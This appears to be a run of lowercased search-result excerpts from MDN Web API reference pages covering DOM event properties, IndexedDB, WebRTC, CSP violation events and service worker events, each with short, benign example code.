... example window.addeventlistener('hashchange', function(event) { console.log('hash changed from ' + event.oldurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: oldurl' in that specification.
IDBOpenDBRequest: blocked event - Web APIs
bubbles no cancelable no interface idbversionchangeevent event handler property onblocked examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objec...
...tstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.addeventlistener('blocked', () => { console.log('request was blocked'); }); }; using the onblocked property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creati...
...efine what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.onblocked = () => { console.log('request was blocked'); }; }; ...
InputEvent.getTargetRanges() - Web APIs
the gettargetranges() property of the inputevent interface returns an array of static ranges that will be affected by a change to the dom if the input event is not canceled.
... syntax var staticranges[] = inputevent.gettargetranges() parameters none.
... specifications specification status comment input events level 2the definition of 'gettargetranges()' in that specification.
InstallEvent.activeWorker - Web APIs
the activeworker read-only property of the installevent interface returns the serviceworker that is currently actively controlling the page.
... syntax var myactiveworker = event.activeworker value a serviceworker object.
... examples self.addeventlistener('install', function(event) { var myactiveworker = event.activeworker; }); ...
KeyboardEvent.altKey - Web APIs
the keyboardevent.altkey read-only property is a boolean that indicates if the alt key (option or ⌥ on os x) was pressed (true) or not (false) when the event occured.
... syntax var altkeypressed = instanceofkeyboardevent.altkey return value boolean examples <html> <head> <title>altkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key keydown: " + string.fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "alt key keydown: " + e.altkey + "\n" ); } </script> </head> <body onkeydown="showchar(event);"> <p> press any character key, with or without holding down the alt key.<br /> you can also use the shift key together with the alt key.
... </p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.altkey' in that specification.
KeyboardEvent.isComposing - Web APIs
the keyboardevent.iscomposing read-only property returns a boolean value indicating if the event is fired within a composition session, i.e.
... syntax var bool = event.iscomposing; example var kbdevent = new keyboardevent("synthetickey", false); console.log(kbdevent.iscomposing); // return false specifications specification status comment ui eventsthe definition of 'keyboardevent.prototype.iscomposing' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'keyboardevent.prototype.iscomposing' in that specification.
KeyboardEvent.keyIdentifier - Web APIs
the deprecated keyboardevent.keyidentifier read-only property returns a "key identifier" string that can be used to determine what key was pressed.
... its non-deprecated replacement is keyboardevent.key.
...this property was part of an old draft of the dom level 3 events specification, but it was removed in later drafts in favor of keyboardevent.key.
KeyboardEvent.metaKey - Web APIs
the keyboardevent.metakey read-only property returning a boolean that indicates if the meta key was pressed (true) or not (false) when the event occurred.
...keyboardevent.metakey is false when the ⊞ windows is pressed.
... syntax var metakeypressed = instanceofkeyboardevent.metakey return value a boolean example function ismetakey(e) { alert("metakey = " + e.metakey); } <button onclick="ismetakey(event)">click me with the meta key</button> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.metakey' in that specification.
MediaDevices: devicechange event - Web APIs
a devicechange event is sent to a mediadevices instance whenever a media device such as a camera, microphone, or speaker is connected to or removed from the system.
... it's a generic event with no added properties.
... bubbles no cancelable no interface event event handler ondevicechange example you can use the devicechange event in an addeventlistener method: navigator.mediadevices.addeventlistener('devicechange', function(event) { updatedevicelist(); }); or use the ondevicechange event handler property: navigator.mediadevices.ondevicechange = function(event) { updatedevicelist(); } specifications specification status media capture and streamsthe definition of 'devicechange' in that specification.
MediaKeyMessageEvent() - Web APIs
the mediakeymessageevent constructor creates a new mediakeymessageevent object which creates a new instance of mediakeymessageevent.
... syntax var mediakeymessageevent = new mediakeymessageevent(typearg, options) parameters typearg a domstring containing one of may be one of license-request, license-renewal, license-renewal, or individualization-request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediakeymessageevent() constructor experimentalchrome full support 42edge full support ≤18firefox ?
MediaRecorder: error event - Web APIs
the mediarecorder interface's error event is fired when an error occurs: for example because recording wasn't allowed or was attempted using an unsupported codec.
... bubbles no cancelable no interface mediarecordererrorevent event handler property onerror for details of the all the possible errors see the documentation for the event handler property: onerror.
... examples using addeventlistener to listen for error events: async function record() { const stream = await navigator.mediadevices.getusermedia({audio: true}); const recorder = new mediarecorder(stream); recorder.addeventlistener('error', (event) => { console.error(`error recording stream: ${event.error.name}`) }); recorder.start(); } record(); the same, but using the onerror event handler property: async function record() { const stream = await navigator.mediadevices.getusermedia({audio: true}); const recorder = new mediarecorder(stream); recorder.onerror = (event) => { console.error(`error recording stream: ${event.error.name}`) }; recorder.start(); } record(); specifications specification status mediastream...
MediaRecorderErrorEvent() - Web APIs
the mediarecordererrorevent() constructor creates a new mediarecordererrorevent object that represents an error that occurred during the recording of media by the mediastream recording api.
... syntax var errorevent = new mediarecordererrorevent(errorinfo) parameters errorinfo an object describing the error object to be created.
... specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent()' in that specification.
MerchantValidationEvent.methodName - Web APIs
the merchantvalidationevent property methodname is a read-only value which returns a string indicating the payment method identifier which represents the payment handler that requires merchant validation.
... syntax methodid = merchantvalidationevent.methodname; value a read-only domstring which uniquely identifies the payment handler which is requesting merchant validation.
... specifications specification status comment payment request apithe definition of 'merchantvalidationevent.methodname' in that specification.
MerchantValidationEvent.validationURL - Web APIs
the merchantvalidationevent property validationurl is a read-only string value providing the url from which to fetch the payment handler-specific data needed to validate the merchant.
... syntax validationurl = merchantvalidationevent.validationurl; value a read-only usvstring giving the url from which to load payment handler specific data needed to complete the merchant verification process.
... specifications specification status comment payment request apithe definition of 'merchantvalidationevent.validationurl' in that specification.
MessageEvent.data - Web APIs
WebAPIMessageEventdata
the data read-only property of the messageevent interface represents the data sent by the message emitter.
... syntax var data = messageevent.data; value the data sent by the message emitter; this can be any data type.
... example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); }; specifications specification status comment html living standardthe definition of 'messageevent: data' in that specification.
MessageEvent.origin - Web APIs
the origin read-only property of the messageevent interface is a usvstring representing the origin of the message emitter.
... syntax var origin = messageevent.origin; value a usvstring representing the origin.
... example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.origin); }; specifications specification status comment html living standardthe definition of 'messageevent: origin' in that specification.
MessageEvent.ports - Web APIs
the ports read-only property of the messageevent interface is an array of messageport objects representing the ports associated with the channel the message is being sent through (where appropriate, e.g.
... syntax var myports = messageevent.ports; value an array of messageport objects.
... example onconnect = function(e) { var port = e.ports[0]; port.addeventlistener('message', function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); }); port.start(); // required when using addeventlistener.
MessageEvent.source - Web APIs
the source read-only property of the messageevent interface is a messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter.
... syntax let mysource = messageevent.source; value a messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter.
... example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.source); }; specifications specification status comment html living standardthe definition of ' messageevent: source' in that specification.
MouseEvent.offsetX - Web APIs
the offsetx read-only property of the mouseevent interface provides the offset in the x coordinate of the mouse pointer between that event and the padding edge of the target node.
... syntax var xoffset = instanceofmouseevent.offsetx; return value a double floating point value.
... specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
MouseEvent.offsetY - Web APIs
the offsety read-only property of the mouseevent interface provides the offset in the y coordinate of the mouse pointer between that event and the padding edge of the target node.
... syntax var yoffset = instanceofmouseevent.offsety; return value a double floating point value.
... specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
MouseEvent.which - Web APIs
WebAPIMouseEventwhich
the mouseevent.which read-only property indicates which button was pressed on the mouse to trigger the event.
... the standard alternatives to this property are mouseevent.button and mouseevent.buttons.
... syntax var buttonpressed = instanceofmouseevent.which return value a number representing a given button: 0: no button 1: left button 2: middle button (if present) 3: right button for a mouse configured for left-handed use, the button actions are reversed.
OfflineAudioContext: complete event - Web APIs
the complete event of the offlineaudiocontext interface is fired when the rendering of an offline audio context is complete.
... bubbles no cancelable no default action none interface offlineaudiocompletionevent event handler property offlineaudiocontext.oncomplete examples when processing is complete, you might want to use the oncomplete handler the prompt the user that the audio can now be played, and enable the play button: let offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.addeventlistener('complete', () => { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; }) you can also set up the event handler using the offlineaudiocontext.oncomplete property: let offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.oncomplete = function() { co...
...nsole.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; } specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent' in that specification.
PaymentRequestUpdateEvent.updateWith() - Web APIs
the updatewith() method of the paymentrequestupdateevent interface updates the details of an existing paymentrequest.
... syntax paymentrequestupdateevent.updatewith(details); parameters details a paymentdetailsupdate object specifying the changes applied to the payment request: displayitems optional an array of paymentitem objects, each describing one line item for the payment request.
... specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent.updatewith()' in that specification.
Performance: resourcetimingbufferfull event - Web APIs
the resourcetimingbufferfull event is fired when the browser's resource timing buffer is full.
... bubbles yes cancelable yes interface event event handler property onresourcetimingbufferfull examples the following example sets a callback function on the onresourcetimingbufferfull property.
... function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> note that you could also set up the handler using the addeventlistener() function: performance.addeventlistener('resourcetimingbufferfull', buffer_full); specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that specification.
ProgressEvent.lengthComputable - Web APIs
the progressevent.lengthcomputable read-only property is a boolean flag indicating if the resource concerned by the progressevent has a length that can be calculated.
... if not, the progressevent.total property has no significant value.
... syntax flag = progressevent.lengthcomputable specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
ProgressEvent.loaded - Web APIs
the progressevent.loaded read-only property is an integer representing the amount of work already performed by the underlying process.
... the ratio of work done can be calculated with the property and progressevent.total.
... syntax value = progressevent.loaded specifications specification status comment xmlhttprequestthe definition of 'progressevent.loaded' in that specification.
PromiseRejectionEvent.reason - Web APIs
the promiserejectionevent reason read-only property is any javascript value or object which provides the reason passed into promise.reject().
... syntax reason = promiserejectionevent.reason value a value or object which provides information you can use to understand why the promise was rejected.
... examples window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'promiserejectionevent.reason' in that specification.
RTCDTMFToneChangeEvent.tone - Web APIs
the read-only property rtcdtmftonechangeevent.tone returns the dtmf character which has just begun to play, or an empty string ("").
... syntax var tone = dtmftonechangeevent.tone; example this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>".
... dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent.tone' in that specification.
RTCDataChannel: open event - Web APIs
the webrtc open event is sent to an rtcdatachannel object's onopen event handler when the underlying transport used to send and receive the data channel's messages is opened or re-opened.
... bubbles no cancelable no interface rtcdatachannelevent event handler property onopen examples this example adds to the rtcdatachannel dc a handler for the open event that adjusts the user interface to indicate that a chat window is ready to be used after a connection has been established.
... dc.addeventlistener("open", ev => { messageinputbox.disabled = false; sendmessagebutton.disabled = false; disconnectbutton.disabled = false; connectbutton.disabled = true; messageinputbox.focus(); }, false); this can also be done by directly setting the value of the channel's onopen event handler property.
RTCIceTransport: selectedcandidatepairchange event - Web APIs
a selectedcandidatepairchange event is sent to an rtcicetransport when the ice agent selects a new pair of candidates that describe the endpoints of a viable connection.
... bubbles no cancelable no interface event event handler property onselectedcandidatepairchange examples this example creates an event handler for selectedcandidatepairchange that updates a display providing the user information about the progress of the ice negotiation for an rtcpeerconnection called pc.
... let icetransport = pc.getsenders[0].transport.icetransport; let localprotoelem = document.getelementbyid("local-protocol"); let remoteprotoelem = document.getelementbyid("remote-protocol"); icetransport.addeventlistener("selectedcandidatepairchange", ev => { let pair = icetransport.getselectedcandidatepair(); localprotoelem.innertext = pair.local.protocol.touppercase(); remoteprotoelem.innertext = pair.remote.protocol.touppercase(); }, false) this can also be done by setting the onselectedcandidatepairchange event handler property directly.
RTCIceTransport: statechange event - Web APIs
a statechange event occurs when the rtcicetransport changes state.
... bubbles no cancelable no interface event event handler property rtcicetransport.onstatechange examples given an rtcpeerconnection, pc, the following code creates an event handler that calls a function named handlefailure() if the ice transport enters a failure state.
... let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.addeventlistener("statechange", ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstatechange event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'statechange' in that specification.
RTCIdentityErrorEvent.idp - Web APIs
the read-only property rtcidentityerrorevent.idp returns the domstring describing the domain name of the identity provider (idp) generating the error response event.
... firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerrorevent.
... syntax var idp = event.idp; event.idp = "developer.mozilla.org"; example pc.onidpassertionerror = function( ev ) { alert("the idp named '" + ev.idp + "' encountered an error " + "while generating an assertion."); } ...
RTCIdentityErrorEvent.loginUrl - Web APIs
the read-only property rtcidentityerrorevent.loginurl is a domstring giving the url where the user can complete the authentication.
... firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerrorevent.
... syntax var loginurl = event.loginurl; event.loginurl = "https://developer.mozilla.org/fakeurl"; example pc.onidpassertionerror = function( ev ) { alert("the idp requested an authentication" + " to be performed at th3 url '" + ev.url + "'."); } ...
RTCIdentityErrorEvent.protocol - Web APIs
the read-only property rtcidentityerrorevent.protocol is a domstring describing the idp protocol in use.
... firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerrorevent.
... syntax var protocol = event.protocol; event.protocol = "idp.html"; example pc.onidpassertionerror = function( ev ) { alert("the idp uses the following protocol '" + ev.protocol + "."); } ...
RTCIdentityEvent.assertion - Web APIs
the read-only property rtcidentityevent.assertion returns the domstring containing a blob being the coded assertion associated with the event.
... firefox implements the interface this property belongs to under the following name: rtcpeerconnectionidentityevent.
... syntax var blob = event.assertion; example pc.onidentityresult = function( ev ) { alert("a new identity assertion (blob: '" + ev.assertion + "') has been generated."); } ...
RTCPeerConnection: connectionstatechange event - Web APIs
the connectionstatechange event is sent to the ontrack event handler on an rtcpeerconnection object after a new track has been added to an rtcrtpreceiver which is part of the connection.
... bubbles no cancelable no interface event event handler onconnectionstatechange examples for an rtcpeerconnection, pc, this example sets up a handler for connectionstatechange messages to handle changes to the connectivity of the webrtc session.
...cted": setonlinestatus("online"); break; case "disconnected": setonlinestatus("disconnecting..."); break; case "closed": setonlinestatus("offline"); break; case "failed": setonlinestatus("error"); break; default: setonlinestatus("unknown"); break; } } you can also create a handler for connectionstatechange by using addeventlistener(): pc.addeventlistener("connectionstatechange", ev => { switch(pc.connectionstate) { /* ...
RTCPeerConnection: identityresult event - Web APIs
an identityresult event is sent to an rtcpeerconnection object's onidentityresult event handler to inform it that an assertion has been generated by an associated identity provider (idp) during the process of creating an sdp offer or answer.
... note: while older versions of the webrtc specification used events to report assertions, this has been deprecated and removed from the specification.
... bubbles no cancelable no interface rtcidentityevent event handler property onidentityresult specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'identityresult' in that specification.
RTCPeerConnection: idpassertionerror event - Web APIs
an idpassertionerror event informs the target, a rtcpeerconnection object, that the identity provider (idp) encountered an error when trying to generate an identity assertion.
... an event handler for this event can be added using the rtcpeerconnection.onidpassertionerror property.
... bubbles no cancelable no interface rtcidentityerrorevent event handler property onidpassertionerror warning: this event is no longer used; instead, you can detect an assertion error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected.
RTCPeerConnection: idpvalidationerror event - Web APIs
an idpvalidationerror event informs the target, a rtcpeerconnection object's onidpvalidationerror event handler, that the identity provider (idp) encountered an error while validating an identity assertion.
... an event handler for this event can be added using the rtcpeerconnection.onidpvalidationerror property.
... bubbles no cancelable no interface rtcidentityerrorevent event handler property onidpvalidationerror warning: this event is no longer used; instead, you can detect a validation error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected.
RTCPeerConnection: signalingstatechange event - Web APIs
an signalingstatechange event is sent to an rtcpeerconnection to notify it that its signaling state, as indicated by the signalingstate property, has changed.
... bubbles no cancelable no interface event event handler property rtcpeerconnection.onsignalingstatechange examples given an rtcpeerconnection, pc, and an updatestatus() function that presents status information to the user, this code sets up an event handler to let the user know when the ice negotiation process finishes up.
... pc.addeventlistener("signalingstatechange", ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }, false); using onsignalingstatechange, it looks like this: pc.onsignalingstatechange = ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'signalingstatechange' in that specification.
RTCPeerConnectionIceEvent.candidate - Web APIs
the read-only candidate property of the rtcpeerconnectioniceevent interface returns the rtcicecandidate associated with the event.
... syntax var candidate = event.candidate; value an rtcicecandidate object representing the ice candidate that has been received, or null to indicate that there are no further candidates for this negotiation session.
... example pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent.candidate' in that specification.
RTCPeerConnection: idpvalidationerror event - Web APIs
an idpvalidationerror event informs the target, a rtcpeerconnection object, that the identity provider (idp) encountered an error when trying to validate an identity assertion.
... an event handler for this event can be added via the rtcpeerconnection.onidpvalidationerror property.
... bubbles no cancelable no interface rtcidentityerrorevent event handler property onidpvalidationerror important: this event is no longer used; it was removed from the specification long ago.
RTCTrackEvent.receiver - Web APIs
the read-only receiver property of the rtctrackevent interface indicates the rtcrtpreceiver which is used to receive data containing media for the track to which the event refers.
... syntax var rtpreceiver = trackevent.receiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.receiver' in that specification.
RTCTrackEvent.streams - Web APIs
the webrtc api interface rtctrackevent's read-only streams property specifies an array of mediastream objects, one for each of the streams that comprise the track being added to the rtcpeerconnection.
... syntax var streams = trackevent.streams; value an array of mediastream objects, one for each stream that make up the new track.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.streams' in that specification.
RTCTrackEvent.track - Web APIs
the webrtc api interface rtctrackevent's read-only track property specifies the mediastreamtrack that has been added to the rtcpeerconnection.
... syntax var track = trackevent.track; value a mediastreamtrack indicating the track which has been added to the rtcpeerconnection.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.track' in that specification.
RTCTrackEventInit.receiver - Web APIs
the rtctrackeventinit dictionary's receiver property specifies the rtcrtpreceiver associated with the event.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtpreceiver = trackeventinit.receiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.receiver' in that specification.
RTCTrackEventInit.streams - Web APIs
the rtctrackeventinit dictionary's optional streams property provides an array containing a mediastream object for each of the streams associated with the event's track.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var streamlist = trackeventinit.streams; value an array of mediastream objects, one for each stream which make up the track.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.streams' in that specification.
RTCTrackEventInit.track - Web APIs
the rtctrackeventinit dictionary's track property specifies the mediastreamtrack associated with the track event.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var track = trackeventinit.track; value a mediastreamtrack representing the track with which the event is associated.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.track' in that specification.
SVGElement: abort event - Web APIs
the abort event is fired when page loading is stopped before an svg element has been allowed to load completely.
... this basically implements the standard abort dom event.
... bubbles no cancelable no interface svgevent event handler property onabort examples svgelem.addeventlistener('abort', () => { console.log('load aborted.'); }) specifications not really described anywhere specifically, but mentioned in the svg 2 spec.
SVGElement: error event - Web APIs
the error event is fired when an svg element does not load properly or when an error occurs during script execution.
... this basically implements the standard error dom event.
... bubbles yes cancelable no interface svgevent event handler property onerror examples svgelem.addeventlistener('error', () => { console.log('svg not loaded properly.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'error' in that specification.
SVGElement: load event - Web APIs
the load event fires on an svgelement when it is loaded in the browser, e.g.
...it is basically the same as the standard load dom event.
... bubbles no cancelable no interface svgevent event handler property onload examples svgelem.addeventlistener('load', () => { console.log('svg loaded.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'load' in that specification.
SVGElement: scroll event - Web APIs
the scroll event is fired when an svg document view is being shifted along the x and/or y axes.
... this basically implements the standard scroll dom event.
... bubbles no cancelable no interface svgevent event handler property onscroll examples svgelem.addeventlistener('scroll', () => { console.log('svg scrolled.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'event changes in svg2' in that specification.
SecurityPolicyViolationEvent.blockedURI - Web APIs
the blockeduri read-only property of the securitypolicyviolationevent interface is a usvstring representing the uri of the resource that was blocked because it violates a policy.
... syntax let blockeduri = violationeventinstance.blockeduri; value a usvstring representing the uri of the blocked resource.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); }); specifications specification status comment content security policy level 3the definition of 'blockeduri' in that specification.
SecurityPolicyViolationEvent.columnNumber - Web APIs
the columnnumber read-only property of the securitypolicyviolationevent interface is the column number in the document or worker at which the violation occurred.
... syntax let colnum = violationeventinstance.columnnumber; value a number representing the column number where the violation occurred.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.columnnumber); }); specifications specification status comment content security policy level 3the definition of 'columnnumber' in that specification.
SecurityPolicyViolationEvent.disposition - Web APIs
the disposition read-only property of the securitypolicyviolationevent interface indicates how the violated policy is configured to be treated by the user agent.
... syntax let disposition = violationeventinstance.disposition; value a value defined in the securitypolicyviolationeventdisposition enum representing the uri of the blocked resource.
... possible values are "enforce" or "report" example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.disposition); }); specifications specification status comment content security policy level 3the definition of 'disposition' in that specification.
SecurityPolicyViolationEvent.documentURI - Web APIs
the documenturi read-only property of the securitypolicyviolationevent interface is a usvstring representing the uri of the document or worker in which the violation was found.
... syntax let documenturi = violationeventinstance.documenturi; value a usvstring representing the uri of the document or worker in which the violation was found.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.documenturi); }); specifications specification status comment content security policy level 3the definition of 'documenturi' in that specification.
SecurityPolicyViolationEvent.effectiveDirective - Web APIs
the effectivedirective read-only property of the securitypolicyviolationevent interface is a domstring representing the directive whose enforcement uncovered the violation.
... syntax let effdir = violationeventinstance.effectivedirective; value a domstring representing the directive whose enforcement uncovered the violation.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.effectivedirective); }); specifications specification status comment content security policy level 3the definition of 'effectivedirective' in that specification.
SecurityPolicyViolationEvent.lineNumber - Web APIs
the linenumber read-only property of the securitypolicyviolationevent interface is the line number in the document or worker at which the violation occurred.
... syntax let linenumber = violationeventinstance.linenumber; value a number representing the line number at which the violation occurred.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.linenumber); }); specifications specification status comment content security policy level 3the definition of 'linenumber' in that specification.
SecurityPolicyViolationEvent.originalPolicy - Web APIs
the originalpolicy read-only property of the securitypolicyviolationevent interface is a domstring containing the policy whose enforcement uncovered the violation.
... syntax let origpolicy = violationeventinstance.originalpolicy; value a domstring representing the policy whose enforcement uncovered the violation.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.originalpolicy); }); specifications specification status comment content security policy level 3the definition of 'originalpolicy' in that specification.
SecurityPolicyViolationEvent.referrer - Web APIs
the referrer read-only property of the securitypolicyviolationevent interface is a usvstring representing the referrer of the resources whose policy was violated.
... syntax let referrer = violationeventinstance.referrer; value a usvstring representing the url of the referrer of the violating resources.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.referrer); }); specifications specification status comment content security policy level 3the definition of 'referrer' in that specification.
SecurityPolicyViolationEvent.sourceFile - Web APIs
the sourcefile read-only property of the securitypolicyviolationevent interface is a usvstring representing the uri of the document or worker in which the violation was found.
... syntax let source = violationeventinstance.sourcefile; value a usvstring representing the uri of the document or worker in which the violation was found.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sourcefile); }); specifications specification status comment content security policy level 3the definition of 'sourcefile' in that specification.
SecurityPolicyViolationEvent.statusCode - Web APIs
the statuscode read-only property of the securitypolicyviolationevent interface is a number representing the http status code of the document or worker in which the violation occurred.
... syntax let status = violationeventinstance.statuscode; value a number representing the status code of the document or worker in which the violation occurred.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.statuscode); }); specifications specification status comment content security policy level 3the definition of 'statuscode' in that specification.
SecurityPolicyViolationEvent.violatedDirective - Web APIs
the violateddirective read-only property of the securitypolicyviolationevent interface is a domstring representing the directive whose enforcement uncovered the violation.
... syntax let violateddir = violationeventinstance.violateddirective; value a domstring representing the directive whose enforcement uncovered the violation.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.violateddirective); }); specifications specification status comment content security policy level 3the definition of 'violateddirective' in that specification.
ServiceWorkerContainer: message event - Web APIs
the message event is used in a page controlled by a service worker to receive messages from the service worker.
... bubbles no cancelable no interface messageevent event handler property onmessage examples in this example the service worker get the client's id from a fetch event and then sends it a message using client.postmessage: // in the service worker async function messageclient(clientid) { const client = await clients.get(clientid); client.postmessage('hi client!'); } addeventlistener('fetch', (event) => { messageclient(event.clientid); event.respondwith(() => { // ...
... }); }); the client can receive the message by listening to the message event: // in the page being controlled navigator.serviceworker.addeventlistener('message', (message) => { console.log(message); }); specifications specification status service workersthe definition of 'message' in that specification.
ServiceWorkerGlobalScope: activate event - Web APIs
the activate event of the serviceworkerglobalscope interface is fired when a serviceworkerregistration acquires a new serviceworkerregistration.active worker.
... bubbles no cancelable no interface extendableevent event handler property serviceworkerglobalscope.onactivate examples the following snippet shows how you could use an activate event handler to upgrade a cache.
... globalscope.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); you can also set up the event handler using the serviceworkerglobalscope.onactivate property: globalscope.onactivate = function(event) { ...
ServiceWorkerGlobalScope: contentdelete event - Web APIs
the contentdelete event of the serviceworkerglobalscope interface is fired when an item is removed from the indexed content via the user agent.
... bubbles no cancelable no interface contentindexevent event handler property oncontentdelete examples the following example uses a contentdelete event handler to remove cached content related to the deleted index item.
... self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); you can also set up the event handler using the serviceworkerglobalscope.ondelete property: self.oncontentdelete = (event) => { ...
ServiceWorkerGlobalScope: install event - Web APIs
the install event of the serviceworkerglobalscope interface is fired when a serviceworkerregistration acquires a new serviceworkerregistration.installing worker.
... bubbles no cancelable no interface extendableevent event handler property serviceworkerglobalscope.oninstall examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', ...
... '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); you can also set up the event handler using the serviceworkerglobalscope.oninstall property: globalscope.oninstall = function(event) { ...
ServiceWorkerGlobalScope: message event - Web APIs
the message event of the serviceworkerglobalscope interface occurs when incoming messages are received.
